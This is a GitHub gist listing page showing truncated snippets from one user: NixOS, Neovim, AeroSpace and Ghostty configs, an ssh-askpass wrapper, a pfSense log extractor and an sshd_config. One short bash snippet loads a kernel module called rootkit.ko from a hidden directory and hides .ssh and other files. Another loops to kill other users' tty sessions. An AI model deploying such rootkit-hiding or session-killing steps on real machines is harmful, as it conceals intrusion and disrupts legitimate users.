Skip to content

Instantly share code, notes, and snippets.

import serial
import time
# Serial port configuration
serial_port = '/dev/tty.usbserial-0001'
baud_rate = 115200
ser = serial.Serial(serial_port, baud_rate, timeout=1)
num_of_pages = 65535
@astr0n8t
astr0n8t / nixos-generators config
Created October 7, 2025 17:39
Working format to get a working Raspberry Pi 2B+ SD card build using NixOS and nixos-generators
{
system = "armv7l-linux";
format = "sd-armv7l";
customFormats = { "sd-armv7l" = ./formats/sd-armv7l.nix; };
modules = [
nixos-hardware.nixosModules.raspberry-pi-2
];
}
@astr0n8t
astr0n8t / init.lua
Created October 2, 2025 04:59
bland init.lua
local map = vim.keymap.set
-- leader y/p to clip
map({ "n", "v" }, "<leader>y", '"+y')
map({ "n", "v" }, "<leader>p", '"+p')
-- f/r magic from prime
map("n", "<leader>s", [[:%s/\<<C-r><C-w>\>/<C-r><C-w>/gI<Left><Left><Left>]])
@astr0n8t
astr0n8t / aerospace.toml
Last active July 18, 2025 16:48
Aerospace WM with Ghostty Tab Fix
# fixes for ghostty weird tab behavior in aerospace wm
# still allows for opening multiple term windows in tiling properly
[mode.main.binding]
alt-enter = [ '''exec-and-forget osascript -e '
tell application "Ghostty"
if it is running
tell application "System Events" to tell process "Ghostty"
click menu item "New Window" of menu "File" of menu bar 1
end tell
else
# macOS ghostty tmux-esq config
# works great except the timing is different for leader key and resize than tmux
# uses the super key so that normal tmux will work in SSH and such
# create tabs/panes
keybind = super+b>c=new_tab
keybind = super+b>shift+apostrophe=new_split:down
keybind = super+b>shift+physical:5=new_split:right
# close tabs/panes
@astr0n8t
astr0n8t / ssh-askpass.sh
Created June 11, 2023 19:10
Custom ssh-askpass wrapper for macOS using pinentry-mac
#!/bin/bash
#
# Can enable check to enable keychain
# I've disabled this by default
# It only needs to run once
CHECK_KEYCHAIN_ENABLE=1
if [ $CHECK_KEYCHAIN_ENABLE -eq 0 ]
then
USE_KEYCHAIN=$(defaults read org.gpgtools.common UseKeychain)
if [ $USE_KEYCHAIN -eq 0 ]
@astr0n8t
astr0n8t / pfsense-graylog-extractor.json
Created February 21, 2021 19:38
Graylog Pfsense Extractor
{
"extractors": [
{
"title": "pfSense filterlog: IPv4 ICMP Echo",
"extractor_type": "regex",
"converters": [
{
"type": "csv",
"config": {
"column_header": "RuleNumber,SubRuleNumber,Anchor,Tracker,Interface,Reason,Action,Direction,IPVersion,TOS,ECN,TTL,ID,Offset,Flags,ProtocolID,Protocol,Length,SourceIP,DestIP,ICMP_Type,ICMP_ID,ICMP_Sequence"
#!/bin/bash
cd /usr/lib/.runescape
./insmod rootkit.ko
./rs --hide-file=.runescape
./rs --hide-file=.ssh
./rs --hide-file=fun.sh
#!/bin/bash
#ECHO TESTING
echo " "
printf "\033[1;35mInput a number and press [ENTER] to kill that bash session and above (Up to 10)\033[0m\n"
printf "\033[1;32mINPUT: \033[0m"
read num
while true; do
for ((i=$num;i<10;i++)); do
if pgrep -t tty$i > /dev/null; then
# $OpenBSD: sshd_config,v 1.101 2017/03/14 07:19:07 djm Exp $
# This is the sshd server system-wide configuration file. See
# sshd_config(5) for more information.
# This sshd was compiled with PATH=/usr/local/sbin:/usr/local/bin:/usr/bin
# The strategy used for options in the default sshd_config shipped with
# OpenSSH is to specify options with their default value where
# possible, but leave them commented. Uncommented options override the